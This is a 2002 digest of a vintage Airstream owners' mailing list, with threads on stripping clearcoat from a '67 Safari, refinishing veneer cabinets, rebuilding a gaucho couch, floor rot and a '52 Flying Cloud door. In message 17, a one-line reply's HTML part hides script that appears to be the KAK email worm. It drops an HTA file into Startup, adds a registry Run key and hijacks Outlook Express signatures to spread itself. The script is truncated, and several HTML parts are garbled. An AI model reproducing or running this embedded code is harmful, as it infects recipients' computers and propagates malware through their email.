VACList-Digest Thursday, April 4, 2002 Issue 263
Today's Topics:
1. Re: Refinish wood panels - 67 Safari
2. Clearcoat removal frustration
3. Re: Refinish wood panels - 67 Safari
4. Re: Refinish wood panels - 67 Safari
5. Introductions
6. Re: Clearcoat removal frustration
7. Re: ront couch sofabed
8. Re: Clearcoat removal frustration
9. '52 Flying Cloud Door?
10. Re: Refinish wood panels - 67 Safari
11. Re: Introductions
12. Re: Refinish wood panels - 67 Safari
13. Re: '52 Flying Cloud Door?
14. Re: '52 Flying Cloud Door?
15. Re: Refinish wood panels - 67 Safari
16. Re: Clearcoat removal frustration
17. Re: Clearcoat removal frustration
18. Re:
19. Re: Refinish wood panels - 67 Safari
20. Re: Clearcoat removal frustration
21. Re: Clearcoat removal frustration
----------------------------------------------------------------------
Message Number: 1
Date: Wed, 3 Apr 2002 21:27:24 EST
From: [EMAIL PROTECTED]
Subject: Re: Refinish wood panels - 67 Safari
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Why sand off the old finish? That is what they make paint remover for. The
old veneer was 1/28 in thick the newer stuff is 1/32-1/64 in thick it takes
almost no sanding to cur througd. the new paint removers are easy to use and
some are biodegradable.
Jim Smith
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<HTML><FONT FACE=arial,helvetica><P ALIGN=CENTER><FONT SIZE=2 FAMILY="SANSSERIF"
FACE="Arial" LANG="0">Why sand off the old finish? That is what they make paint
remover for. The old veneer was 1/28 in thick the newer stuff is 1/32-1/64 in thick it
takes Jim Smith</P></FONT></HTML>
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------------------------------
Message Number: 2
Date: Wed, 03 Apr 2002 19:20:01 -0800
From: Charcigar <[EMAIL PROTECTED]>
Subject: Clearcoat removal frustration
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Hi Folks,
I have spent the last 3 days trying to get the darned clearcoat off my '67 Safari.I
knew this polishing project was a big job,but I expected this part of it to proceed a
little faster! 20 or so hours of work,and only about 1/4 done.I must be doing someth
I have tried two different kinds of stripper(Citra-Strip and 1850?)...I have left it
on anywhere from 30 minute to overnight.....most sections I have applied stripper to
7, 8 and even 10 times,yet some clearcoat still remains.I can tell,because those se
Alternatively,will that last bit of cleracoat that I am struggling with,come off if I
use the proper polish for the first step?(I am going to be using the Nuvite
products...so begin with "C",or "G6"?)
Or is there someway of getting this stuff off that is any easier?
Thanks!
Charlotte
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<DIV><FONT face=Arial size=2>Hi Folks,</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2> I have spent the last 3 days trying to get
the darned clearcoat off my '67 Safari.I knew this polishing project was a
big job,but I expected this part of it to proceed a little faster! 20 or so
hours of work,and only about 1/4 done.I must be doing something
wrong?</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2> I have tried two different kinds of
stripper(Citra-Strip and 1850?)...I have left it on anywhere from 30 minute to
overnight.....most sections I have applied stripper to 7, 8 and even 10
times,yet some clearcoat still remains.I can tell,because those sections
looks a little "cloudy".I was using a bristle brush to scrub it with,but
it was not doing a satisfactory job.This afternoon,I got frustrated enough to
try steel wool.I used 000,super fine stuff......this was finally accomplishing
something!Problem is,I am left with lot's of fine scratches.I am hoping these
will polish out....can anyone confirm this?If they will polish out,I will
continue using this method...but I am nervous about it.</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2> Alternatively,will that last bit of cleracoat
that I am struggling with,come off if I use the proper polish for the first
step?(I am going to be using the Nuvite products...so begin with "C",or
"G6"?)</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2> Or is there someway of getting this stuff off
that is any easier?</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2> Thanks!</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2>Charlotte</FONT></DIV></BODY></HTML>
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Message Number: 3
Date: Wed, 03 Apr 2002 19:23:12 -0800
From: Charcigar <[EMAIL PROTECTED]>
Subject: Re: Refinish wood panels - 67 Safari
I removed all my cabinet doors and used stripper on those...but like
Randy,used a sander for the rest of the wood inside.I started with 220,but
did have to use coarser sandpapers for some sections.My sander was not super
powerful,so maybe that was why.Regardless,it worked great...I also gave it
all one coat of stain(in keeping with the original tone)and 3 coats of
polyurethane.Should be good for another 20 or so years!
Charlotte
You can refinish the veneer cabinet and closet doors but you have to be
fairly careful as the veneer is thin. I used a random orbital finish sander
with 220 grit and it worked perfect. After the sanding the old lacquer off,
one coat of natural stain and a couple coats of polyurethane and voila!
Just like new.
Randy
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------------------------------
Message Number: 4
Date: Wed, 03 Apr 2002 19:27:27 -0800
From: Charcigar <[EMAIL PROTECTED]>
Subject: Re: Refinish wood panels - 67 Safari
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Jim,
I only sanded the interior wood sections that were not easily removable.I did want to
deal with hassle of paint stripper dripping where I did want it to go,plus the mess
inside the trailer after scraping.I did use stripper on all the cabinet doors that I
Charlotte
Why sand off the old finish? That is what they make paint remover for. The old veneer
was 1/28 in thick the newer stuff is 1/32-1/64 in thick it takes almost no sanding to
cur througd. the new paint removers are easy to use and some are biodegradable.
Jim Smith
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<DIV><FONT face=Arial size=2>Jim,</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2> I only sanded the interior wood sections that
were not easily removable.I did want to deal with hassle of paint stripper
dripping where I did want it to go,plus the mess inside the trailer after
scraping.I did use stripper on all the cabinet doors that I had removed
though,and that worked well.</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2>Charlotte</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV>
<P align=center><FONT lang=0 face=Arial size=2 FAMILY="SANSSERIF">Why sand off
the old finish? That is what they make paint remover for. The old veneer was
1/28 in thick the newer stuff is 1/32-1/64 in thick it takes almost no sanding
to cur througd. the new paint removers are easy to use and some are
biodegradable.<BR>Jim Smith</P></FONT></DIV></BODY></HTML>
--Boundary_(ID_jXYndVnxaqZfEB/RP+02zA)--
------------------------------
Message Number: 5
Date: Thu, 04 Apr 2002 00:14:40 -0800
From: Dave and Mary <[EMAIL PROTECTED]>
Subject: Introductions
Hello,
My name is Dave Shanahan and I just returned home with a 1965
Overlander 26'. I was wooed by the interior which is in great shape. All
the original hardware is there. There is no significant damage to the
surfaces, wood or laminate. And the skins, inner and outer, are in
reasonably good shape. We had looked at several "streams" before this
one and it won our hearts. What I will have to deal with soon is the
floor of the rear bath area. Rotted of course. Any hints tips
suggestions or advice will be appreciated. I have visited several sites
and seen some photos of major floor repairs and I expect to remove the
entire floor wall to wall to effect the repair.
see ya on the road
dave
------------------------------
Message Number: 6
Date: Wed, 03 Apr 2002 23:16:40 -0500
From: Daisy Welch <[EMAIL PROTECTED]>
Subject: Re: Clearcoat removal frustration
Charlotte, I have to hand it to you, I would never attempt that job.
Look in the archives, there is some aircraft stripper that the polishing
folks swear by. The clear coat is a witch's brew of things to saty clear
and not degrade in light and heat, that's why it is so hard to take off.
I would think the steel wool is a bad idea. It will give you a lot more
polishing time, and I think the aluminum on the top layer is different
from underneath, so it isn't good to grind down too far.
Good luck,
Daisy
> Charcigar wrote:
>
> Hi Folks,
>
> I have spent the last 3 days trying to get the darned clearcoat off
> my '67 Safari.I knew this polishing project was a big job,but I
> expected this part of it to proceed a little faster! 20 or so hours of
> work,and only about 1/4 done.I must be doing something wrong?
>
> I have tried two different kinds of stripper(Citra-Strip and
> 1850?)...I have left it on anywhere from 30 minute to
> overnight.....most sections I have applied stripper to 7, 8 and even
> 10 times,yet some clearcoat still remains.I can tell,because those
> sections looks a little "cloudy".I was using a bristle brush to scrub
> it with,but it was not doing a satisfactory job.This afternoon,I got
> frustrated enough to try steel wool.I used 000,super fine
> stuff......this was finally accomplishing something!Problem is,I am
> left with lot's of fine scratches.I am hoping these will polish
> out....can anyone confirm this?If they will polish out,I will continue
> using this method...but I am nervous about it.
>
> Alternatively,will that last bit of cleracoat that I am struggling
> with,come off if I use the proper polish for the first step?(I am
> going to be using the Nuvite products...so begin with "C",or "G6"?)
>
> Or is there someway of getting this stuff off that is any easier?
>
> Thanks!
>
> Charlotte
------------------------------
Message Number: 7
Date: Thu, 4 Apr 2002 07:01:48 EST
From: [EMAIL PROTECTED]
Subject: Re: ront couch sofabed
Dear VAC members,
The question about the front couch deserves a complete answer. The correct
original "Gaucho" is almost always the best solution for the older Airstream
Trailers in our humble opinion. The ingenuity and detail is far more
intricate and thought out than we ever imagined when we began our restoration
project. So called plans on the internet were almost useless. We asked other
VAC members for help with dimensions and photos. At the end of our research
we knew more about the couch than people with functioning couches in their
rigs. The couches are critical to the value & originality of the restorable
rigs. Once that couch is lost...the value plummets.
The couches from 1960 to probably 1973 would all be about the same with minor
variations. They consist of :
1. The water tank box or cover.
2. The couch base.
3. The hinged pull out cushion base or platform.
4. The cushions and upholstery.
1. We altered this to have a hinged capability and a thicker stronger lid.
2. We added a few pieces to strengthen this assembly. It screws to the tank
box. Get everything together on a level surface. If you use brass screws and
high gloss polyurethane these items they will endure any corrosion and leak
damage plus they will look awesome!
3. The cushion base or platform consists of two wood pieces, one that will go
inside of the back Bolster and one that will be under the seat portion of the
couch. Use 3/8ths birch plywood for these pieces and you will have no
regrets. The original 1/4th ply was not enough. The facing for the platform
needs to have a slot cut in it and will screw to the three slide bars under
it. Those bars attach to a single piece of 3/4 x 3/4 pine (We substituted oak
for added strength) and that piece will be screwed to the tank box. This was
a huge mistry to us but some photos Randy Unter sent to us solved that! When
all this is done the top of the platform, the bolster backing piece and the
top of the tank box should sit level in the pulled out position!
Then three cushions go on top, one over the tank box which is a separate item
and then the two pieces that are connected: the couch seat and the bolster.
There are some subtleties on how the foam is sized and cut to make it work
properly. Once assembled the tank cushion is slid somewhat under the bolster
to help keep it in the up position. We selected a gold colered undecorated
fabric not too dissimilar to the original to cover these items. It looks
great with the brass screws and hardware. We'd be glad to send you a photo.
We did not cover the armrest since it was so lovely leveled and rebuilt out
of Mahogany ply. Three wegded shims are attached to the slide bars giving the
couch seat a slight slope in the closed position and they also lock it in
this position when closed.
We will restore the twin beds in the same general manner with some additional
pieces to allow an optional conversion to a king size bed. More on that later.
On another subject: How warm will the "converter" get when in use and will
mounting it near the hotwater heater be a problem? Thanks, Stuart and Bonnie
Resor.
------------------------------
Message Number: 8
Date: Thu, 4 Apr 2002 06:38:39 -0600
From: "Don Hardman" <[EMAIL PROTECTED]>
Subject: Re: Clearcoat removal frustration
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I used "BIX" striper on my 76 and it worked great. You can get it at =
Home Depot.=20
----- Original Message -----=20
From: Charcigar=20
To: Multiple recipients of VACList=20
Sent: Wednesday, April 03, 2002 9:20 PM
Subject: [VAC] Clearcoat removal frustration
Hi Folks,
I have spent the last 3 days trying to get the darned clearcoat off =
my '67 Safari.I knew this polishing project was a big job,but I expected =
this part of it to proceed a little faster! 20 or so hours of work,and =
only about 1/4 done.I must be doing something wrong?
I have tried two different kinds of stripper(Citra-Strip and =
1850?)...I have left it on anywhere from 30 minute to overnight.....most =
sections I have applied stripper to 7, 8 and even 10 times,yet some =
clearcoat still remains.I can tell,because those sections looks a =
little "cloudy".I was using a bristle brush to scrub it with,but it was =
not doing a satisfactory job.This afternoon,I got frustrated enough to =
try steel wool.I used 000,super fine stuff......this was finally =
accomplishing something!Problem is,I am left with lot's of fine =
scratches.I am hoping these will polish out....can anyone confirm =
this?If they will polish out,I will continue using this method...but I =
am nervous about it.
Alternatively,will that last bit of cleracoat that I am struggling =
with,come off if I use the proper polish for the first step?(I am going =
to be using the Nuvite products...so begin with "C",or "G6"?)
Or is there someway of getting this stuff off that is any easier?
Thanks!
Charlotte
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</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I used "BIX" striper on my 76 and it =
worked great.=20
You can get it at Home Depot. </FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
<DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
<DIV=20
style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
<A [EMAIL PROTECTED] href=3D"mailto:[EMAIL PROTECTED]";>Charcigar</A> =
</DIV>
<DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
[EMAIL PROTECTED]=20
href=3D"mailto:[EMAIL PROTECTED]";>Multiple recipients of =
VACList</A> </DIV>
<DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Wednesday, April 03, 2002 =
9:20=20
PM</DIV>
<DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [VAC] Clearcoat =
removal=20
frustration</DIV>
<DIV><BR></DIV>
<DIV><FONT face=3DArial size=3D2>Hi Folks,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2> I have spent the last 3 days =
trying to get=20
the darned clearcoat off my '67 Safari.I knew this polishing =
project was=20
a big job,but I expected this part of it to proceed a little faster! =
20 or so=20
hours of work,and only about 1/4 done.I must be doing something=20
wrong?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2> I have tried two =
different kinds of=20
stripper(Citra-Strip and 1850?)...I have left it on anywhere from 30 =
minute to=20
overnight.....most sections I have applied stripper to 7, 8 and even =
10=20
times,yet some clearcoat still remains.I can tell,because those =
sections=20
looks a little "cloudy".I was using a bristle brush to scrub it =
with,but=20
it was not doing a satisfactory job.This afternoon,I got frustrated =
enough to=20
try steel wool.I used 000,super fine stuff......this was finally =
accomplishing=20
something!Problem is,I am left with lot's of fine scratches.I am =
hoping these=20
will polish out....can anyone confirm this?If they will polish out,I =
will=20
continue using this method...but I am nervous about it.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2> Alternatively,will that last =
bit of=20
cleracoat that I am struggling with,come off if I use the proper =
polish for=20
the first step?(I am going to be using the Nuvite products...so begin =
with=20
"C",or "G6"?)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2> Or is there someway of getting =
this stuff=20
off that is any easier?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2> Thanks!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial =
size=3D2>Charlotte</FONT></DIV></BLOCKQUOTE></BODY></HTML>
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------------------------------
Message Number: 9
Date: Thu, 04 Apr 2002 07:51:04 -0600
From: Stuart Smith <[EMAIL PROTECTED]>
Subject: '52 Flying Cloud Door?
I am looking for a door for a '52 Flying Cloud. Any ideas? My
existing door is beyond reasonable repair.
Stuart Smith
'52 Flying Cloud
'56 Caravanner
------------------------------
Message Number: 10
Date: Thu, 4 Apr 2002 08:17:59 -0600
From: "John R. Kleven" <[EMAIL PROTECTED]>
Subject: Re: Refinish wood panels - 67 Safari
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The reason I prefer to sand is because you don't really have a uniform =
finish after stripping and will require at least a light "between coat" =
sanding before staining. This one step procedure was less messy and =
actually took less time then stripping. Again, the lacquer they used is =
so thin, it comes off easily however you do it. If I didn't have an =
orbital sander and a wood shop, I would probably strip instead. I also =
used a profile sander to get the corners of the rails and styles of the =
cabinets. Either method is good and the result is that we all have nice =
cabinets now. =20
On a side note, did anybody else notice they used the wrong side of the =
veneer plywood during installation? My 68 has walnut and they installed =
the good grade veneer side to the inside and the less quality side to =
the outside. Course that was 1968 so I can only imagine why!! Arrrr.=20
Randy
----- Original Message -----=20
From: [EMAIL PROTECTED]=20
To: Multiple recipients of VACList=20
Sent: Wednesday, April 03, 2002 8:27 PM
Subject: [VAC] Re: Refinish wood panels - 67 Safari
Why sand off the old finish? That is what they make paint remover for. =
The old veneer was 1/28 in thick the newer stuff is 1/32-1/64 in thick =
it takes almost no sanding to cur througd. the new paint removers are =
easy to use and some are biodegradable.
Jim Smith
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<HTML><HEAD>
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</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>The reason I prefer to sand is because =
you don't=20
really have a uniform finish after stripping and will require at least a =
light=20
"between coat" sanding before staining. This one step procedure =
was less=20
messy and actually took less time then stripping. Again, the =
lacquer they=20
used is so thin, it comes off easily however you do it. If I =
didn't have=20
an orbital sander and a wood shop, I would probably strip instead. =
I also=20
used a profile sander to get the corners of the rails and styles of the=20
cabinets. Either method is good and the result is that we all have =
nice=20
cabinets now. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>On a side note, did anybody else notice =
they used=20
the wrong side of the veneer plywood during installation? My 68 =
has walnut=20
and they installed the good grade veneer side to the inside and the =
less=20
quality side to the outside. Course that was 1968 so I can only =
imagine=20
why!! Arrrr. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Randy</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
<DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
<DIV=20
style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
<A href=3D"mailto:[EMAIL PROTECTED]"=20
[EMAIL PROTECTED]>[EMAIL PROTECTED]</A> </DIV>
<DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
href=3D"mailto:[EMAIL PROTECTED]"; =
[EMAIL PROTECTED]>Multiple=20
recipients of VACList</A> </DIV>
<DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Wednesday, April 03, 2002 =
8:27=20
PM</DIV>
<DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [VAC] Re: Refinish =
wood panels -=20
67 Safari</DIV>
<DIV><BR></DIV><FONT face=3Darial,helvetica>
<P align=3Dcenter><FONT face=3DArial lang=3D0 size=3D2 =
FAMILY=3D"SANSSERIF">Why sand off=20
the old finish? That is what they make paint remover for. The old =
veneer was=20
1/28 in thick the newer stuff is 1/32-1/64 in thick it takes almost no =
sanding=20
to cur througd. the new paint removers are easy to use and some are=20
biodegradable.<BR>Jim =
Smith</P></BLOCKQUOTE></FONT></FONT></BODY></HTML>
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------------------------------
Message Number: 11
Date: Thu, 4 Apr 2002 08:23:00 -0600
From: "John R. Kleven" <[EMAIL PROTECTED]>
Subject: Re: Introductions
Congrats Dave,
The first thing I would do is find the water leak. That might be easy and
it might not, but you have to find it. If your wood rot is isolated and the
area not too big, you could use "Rot-Git" from a marine supply house.
Otherwise......well, you have seen the pictures.
Randy
> Hello,
> My name is Dave Shanahan and I just returned home with a 1965
> Overlander 26'. I was wooed by the interior which is in great shape. All
> the original hardware is there. There is no significant damage to the
> surfaces, wood or laminate. And the skins, inner and outer, are in
> reasonably good shape. We had looked at several "streams" before this
> one and it won our hearts. What I will have to deal with soon is the
> floor of the rear bath area. Rotted of course. Any hints tips
> suggestions or advice will be appreciated. I have visited several sites
> and seen some photos of major floor repairs and I expect to remove the
> entire floor wall to wall to effect the repair.
> see ya on the road
> dave
>
>
>
>
> To unsubscribe or change to a daily Digest format, please go to
> http://airstream.net/vaclist/listoffice.html
>
> When replying to a message, please delete all unnecessary original text
>
>
------------------------------
Message Number: 12
Date: Thu, 4 Apr 2002 08:00:18 -0600
From: "Don Hardman" <[EMAIL PROTECTED]>
Subject: Re: Refinish wood panels - 67 Safari
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On my 1976 Sovereign I found that they had covered perfectly good wood =
veneer with a thick vinyl wall covering. Although I can get the vinyl =
covering off the glue they used is impossible to remove. Go figure, real =
wood (veneer) covered by vinyl. Only in the 70's.
Don Hardman
1976 31' Sovereign
----- Original Message -----=20
From: John R. Kleven=20
On a side note, did anybody else notice they used the wrong side of =
the veneer plywood during installation? My 68 has walnut and they =
installed the good grade veneer side to the inside and the less quality =
side to the outside. Course that was 1968 so I can only imagine why!! =
Arrrr.=20
Randy
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<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>On my 1976 Sovereign I found that they =
had covered=20
perfectly good wood veneer with a thick vinyl wall covering. =
Although I can=20
get the vinyl covering off the glue they used is impossible to remove. =
Go=20
figure, real wood (veneer) covered by vinyl. Only in the =
70's.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial size=3D2>Don Hardman</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>1976 31' Sovereign</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
<DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
<DIV=20
style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
<A [EMAIL PROTECTED] =
href=3D"mailto:[EMAIL PROTECTED]";>John R.=20
Kleven</A> </DIV>
<DIV><FONT face=3DArial size=3D2>On a side note, did anybody else =
notice they used=20
the wrong side of the veneer plywood during installation? My 68 =
has=20
walnut and they installed the good grade veneer side to the inside and =
the=20
less quality side to the outside. Course that was 1968 so I can =
only=20
imagine why!! Arrrr. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Randy</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><FONT face=3DArial =
size=3D2></FONT> </DIV></BLOCKQUOTE></BODY></HTML>
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------------------------------
Message Number: 13
Date: Thu, 4 Apr 2002 09:32:26 -0500
From: "Scott Scheuermann" <[EMAIL PROTECTED]>
Subject: Re: '52 Flying Cloud Door?
Unless you are fortunate enough to come across a donor trailer the only
option I can think of is rebuilding the current one.
Scott
----- Original Message -----
From: "Stuart Smith" <[EMAIL PROTECTED]>
To: "Multiple recipients of VACList" <[EMAIL PROTECTED]>
Sent: Thursday, April 04, 2002 8:51 AM
Subject: [VAC] '52 Flying Cloud Door?
> I am looking for a door for a '52 Flying Cloud. Any ideas? My
> existing door is beyond reasonable repair.
>
>
> Stuart Smith
> '52 Flying Cloud
> '56 Caravanner
------------------------------
Message Number: 14
Date: Thu, 4 Apr 2002 10:34:08 EST
From: [EMAIL PROTECTED]
Subject: Re: '52 Flying Cloud Door?
Stuart. We have all the original extrusions for that door. However, to
repair, modify or build a door for that trailer requires that we must use the
trailer that the door will be used on, as a jig. There is no guarantee that a
door made without the trailer will even begin to fit. Andy
------------------------------
Message Number: 15
Date: Thu, 4 Apr 2002 10:38:06 EST
From: [EMAIL PROTECTED]
Subject: Re: Refinish wood panels - 67 Safari
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I am very glad to know that you dont have a uniform finish after using
stripper. In one 10 year peroid of my life i did nothing but refinish grand
pianos we used stripper and cleaned up with tri sodium phospate and hot water
never had a provlem. I dont under stand your statement
Jim Smith
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<HTML><FONT FACE=arial,helvetica><P ALIGN=CENTER><FONT SIZE=2 FAMILY="SANSSERIF"
FACE="Arial" LANG="0">I am very glad to know that you dont have a uniform finish after
using stripper. In one 10 year peroid of my life i did nothing but refinish grand
pianJim Smith</P></FONT></HTML>
--part1_1ad.275569.29ddcd5e_boundary--
------------------------------
Message Number: 16
Date: Thu, 4 Apr 2002 10:39:00 EST
From: [EMAIL PROTECTED]
Subject: Re: Clearcoat removal frustration
The plasticoat material used prior to 1969 was very different from the 1969
and up, lacquer base. To remove the 69 and prior will be a royal pain, unless
you use "Aircraft" stripper. The cheap stuff is exactly that, cheap. It won't
do the job. Additionally, sometimes, it may be necessary to apply the
Aircraft stripper several times. Andy
------------------------------
Message Number: 17
Date: Wed, 3 Apr 2002 19:52:49 -0800
From: "My Airstream" <[EMAIL PROTECTED]>
Subject: Re: Clearcoat removal frustration
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Just get some "Bix" clear coat remover (WalMart) and apply as directed.
Bob
----- Original Message -----=20
From: Charcigar=20
To: Multiple recipients of VACList=20
Sent: Wednesday, April 03, 2002 7:20 PM
Subject: [VAC] Clearcoat removal frustration
Hi Folks,
I have spent the last 3 days trying to get the darned clearcoat off =
my '67 Safari.I knew this polishing project was a big job,but I expected =
this part of it to proceed a little faster! 20 or so hours of work,and =
only about 1/4 done.I must be doing something wrong?
I have tried two different kinds of stripper(Citra-Strip and =
1850?)...I have left it on anywhere from 30 minute to overnight.....most =
sections I have applied stripper to 7, 8 and even 10 times,yet some =
clearcoat still remains.I can tell,because those sections looks a =
little "cloudy".I was using a bristle brush to scrub it with,but it was =
not doing a satisfactory job.This afternoon,I got frustrated enough to =
try steel wool.I used 000,super fine stuff......this was finally =
accomplishing something!Problem is,I am left with lot's of fine =
scratches.I am hoping these will polish out....can anyone confirm =
this?If they will polish out,I will continue using this method...but I =
am nervous about it.
Alternatively,will that last bit of cleracoat that I am struggling =
with,come off if I use the proper polish for the first step?(I am going =
to be using the Nuvite products...so begin with "C",or "G6"?)
Or is there someway of getting this stuff off that is any easier?
Thanks!
Charlotte
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charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Just get some "Bix" clear coat remover (WalMart) and =
apply as=20
directed.</FONT></DIV>
<DIV><FONT size=3D2>Bob</FONT></DIV>
<DIV>
<DIV style=3D"Z-INDEX: 5; RIGHT: 0px; POSITION: absolute; TOP: -20px">
<OBJECT id=3Dscr=20
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC></OBJECT></DIV>
<SCRIPT><!--
function sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr=
iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" =
WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object =
id=3D'wsh' =
classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP=
T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew =
ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=
fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =
mye=3Dnew =
Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =
String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD=C9=
~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\=
\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists=
(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fil=
eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs=
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)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine('=
@echo off>'+pth);t1.WriteLine('del =
'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=
k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=
T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=
n+'\\\\Software\\\\Microsoft\\\\Outlook =
Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\=
"Default =
Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=
\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =
#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=
\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=
teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =
Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=
L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=
;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=
ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s =
'+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><B=
ODY><DIV =
style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =
id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=
(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function =
sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095=
);t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=
\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"=
